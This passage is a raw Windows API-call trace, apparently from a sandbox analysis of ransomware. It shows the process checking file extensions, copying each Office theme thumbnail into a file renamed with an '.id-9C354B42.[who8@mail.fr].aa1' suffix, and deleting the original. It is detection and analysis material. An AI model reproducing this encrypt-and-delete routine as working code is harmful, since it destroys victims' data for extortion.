lstrlenW (lpString=".doc") returned 4 [0224.367] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.368] lstrlenW (lpString=".docx") returned 5 [0224.368] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.368] lstrlenW (lpString=".pdf") returned 4 [0224.368] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.368] lstrlenW (lpString=".xls") returned 4 [0224.368] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.368] lstrlenW (lpString=".xlsx") returned 5 [0224.368] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.368] lstrlenW (lpString=".ppt") returned 4 [0224.368] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.368] lstrlenW (lpString=".zip") returned 4 [0224.368] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.368] lstrlenW (lpString=".rar") returned 4 [0224.368] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.368] lstrlenW (lpString=".bz2") returned 4 [0224.368] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.368] lstrlenW (lpString=".7z") returned 3 [0224.368] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.369] lstrlenW (lpString=".dbf") returned 4 [0224.369] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.369] lstrlenW (lpString=".1cd") returned 4 [0224.369] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.369] lstrlenW (lpString=".jpg") returned 4 [0224.369] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.369] lstrlenW (lpString=".doc") returned 4 [0224.369] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.369] lstrlenW (lpString=".docx") returned 5 [0224.369] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.369] lstrlenW (lpString=".pdf") returned 4 [0224.369] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.370] lstrlenW (lpString=".xls") returned 4 [0224.370] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.370] lstrlenW (lpString=".xlsx") returned 5 [0224.370] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.370] lstrlenW (lpString=".ppt") returned 4 [0224.370] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.370] lstrlenW (lpString=".zip") returned 4 [0224.370] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.370] lstrlenW (lpString=".rar") returned 4 [0224.370] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.370] lstrlenW (lpString=".bz2") returned 4 [0224.370] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.370] lstrlenW (lpString=".7z") returned 3 [0224.370] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.370] lstrlenW (lpString=".dbf") returned 4 [0224.370] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.371] lstrlenW (lpString=".1cd") returned 4 [0224.371] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0224.371] lstrlenW (lpString=".jpg") returned 4 [0224.371] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.371] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.371] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.372] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=27177) returned 1 [0224.372] CloseHandle (hObject=0x1f8) returned 1 [0224.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0224.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.373] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.373] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.373] GetLastError () returned 0x0 [0224.373] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x6a29, lpOverlapped=0x0) returned 1 [0224.486] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0224.487] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.487] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.487] SetEndOfFile (hFile=0x208) returned 1 [0224.487] CloseHandle (hObject=0x208) returned 1 [0224.488] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.488] SetEndOfFile (hFile=0x1f8) returned 1 [0224.489] CloseHandle (hObject=0x1f8) returned 1 [0224.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.498] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0224.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.498] lstrlenW (lpString=".doc") returned 4 [0224.499] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.499] lstrlenW (lpString=".docx") returned 5 [0224.499] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.499] lstrlenW (lpString=".pdf") returned 4 [0224.499] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.499] lstrlenW (lpString=".xls") returned 4 [0224.499] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.499] lstrlenW (lpString=".xlsx") returned 5 [0224.499] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.499] lstrlenW (lpString=".ppt") returned 4 [0224.499] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.499] lstrlenW (lpString=".zip") returned 4 [0224.499] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.499] lstrlenW (lpString=".rar") returned 4 [0224.499] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.499] lstrlenW (lpString=".bz2") returned 4 [0224.499] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.499] lstrlenW (lpString=".7z") returned 3 [0224.499] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.499] lstrlenW (lpString=".dbf") returned 4 [0224.499] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.499] lstrlenW (lpString=".1cd") returned 4 [0224.499] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.499] lstrlenW (lpString=".jpg") returned 4 [0224.499] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.500] lstrlenW (lpString=".doc") returned 4 [0224.500] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.500] lstrlenW (lpString=".docx") returned 5 [0224.500] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.500] lstrlenW (lpString=".pdf") returned 4 [0224.500] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.500] lstrlenW (lpString=".xls") returned 4 [0224.500] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.500] lstrlenW (lpString=".xlsx") returned 5 [0224.500] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.500] lstrlenW (lpString=".ppt") returned 4 [0224.500] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.500] lstrlenW (lpString=".zip") returned 4 [0224.500] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.500] lstrlenW (lpString=".rar") returned 4 [0224.500] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.500] lstrlenW (lpString=".bz2") returned 4 [0224.500] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.500] lstrlenW (lpString=".7z") returned 3 [0224.500] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.500] lstrlenW (lpString=".dbf") returned 4 [0224.500] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.501] lstrlenW (lpString=".1cd") returned 4 [0224.501] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0224.501] lstrlenW (lpString=".jpg") returned 4 [0224.501] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.501] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.501] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0224.955] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=19525) returned 1 [0224.955] CloseHandle (hObject=0x1f0) returned 1 [0224.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0224.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0224.956] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.956] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0224.957] GetLastError () returned 0x0 [0224.957] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x4c45, lpOverlapped=0x0) returned 1 [0224.976] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0224.977] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.977] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.977] SetEndOfFile (hFile=0x20c) returned 1 [0224.977] CloseHandle (hObject=0x20c) returned 1 [0224.978] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.978] SetEndOfFile (hFile=0x1f0) returned 1 [0224.979] CloseHandle (hObject=0x1f0) returned 1 [0224.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.979] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0224.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.979] lstrlenW (lpString=".doc") returned 4 [0224.980] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.980] lstrlenW (lpString=".docx") returned 5 [0224.980] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.980] lstrlenW (lpString=".pdf") returned 4 [0224.980] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.980] lstrlenW (lpString=".xls") returned 4 [0224.980] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.980] lstrlenW (lpString=".xlsx") returned 5 [0224.980] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.980] lstrlenW (lpString=".ppt") returned 4 [0224.980] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.980] lstrlenW (lpString=".zip") returned 4 [0224.980] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.980] lstrlenW (lpString=".rar") returned 4 [0224.980] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.980] lstrlenW (lpString=".bz2") returned 4 [0224.980] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.980] lstrlenW (lpString=".7z") returned 3 [0224.980] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.980] lstrlenW (lpString=".dbf") returned 4 [0224.980] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.981] lstrlenW (lpString=".1cd") returned 4 [0224.981] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.981] lstrlenW (lpString=".jpg") returned 4 [0224.981] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.981] lstrlenW (lpString=".doc") returned 4 [0224.981] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.981] lstrlenW (lpString=".docx") returned 5 [0224.981] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.981] lstrlenW (lpString=".pdf") returned 4 [0224.981] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.981] lstrlenW (lpString=".xls") returned 4 [0224.981] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.981] lstrlenW (lpString=".xlsx") returned 5 [0224.981] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.981] lstrlenW (lpString=".ppt") returned 4 [0224.981] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.981] lstrlenW (lpString=".zip") returned 4 [0224.981] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.981] lstrlenW (lpString=".rar") returned 4 [0224.981] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.981] lstrlenW (lpString=".bz2") returned 4 [0224.981] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.981] lstrlenW (lpString=".7z") returned 3 [0224.981] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.982] lstrlenW (lpString=".dbf") returned 4 [0224.982] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.982] lstrlenW (lpString=".1cd") returned 4 [0224.982] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0224.982] lstrlenW (lpString=".jpg") returned 4 [0224.982] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.982] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0224.982] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0224.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0224.985] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=44302) returned 1 [0224.985] CloseHandle (hObject=0x20c) returned 1 [0224.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0224.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0224.986] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.986] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0224.986] GetLastError () returned 0x0 [0224.986] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xad0e, lpOverlapped=0x0) returned 1 [0225.006] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xad10, lpOverlapped=0x0) returned 1 [0225.017] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.017] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.017] SetEndOfFile (hFile=0x1fc) returned 1 [0225.017] CloseHandle (hObject=0x1fc) returned 1 [0225.018] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.018] SetEndOfFile (hFile=0x20c) returned 1 [0225.019] CloseHandle (hObject=0x20c) returned 1 [0225.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.019] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0225.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 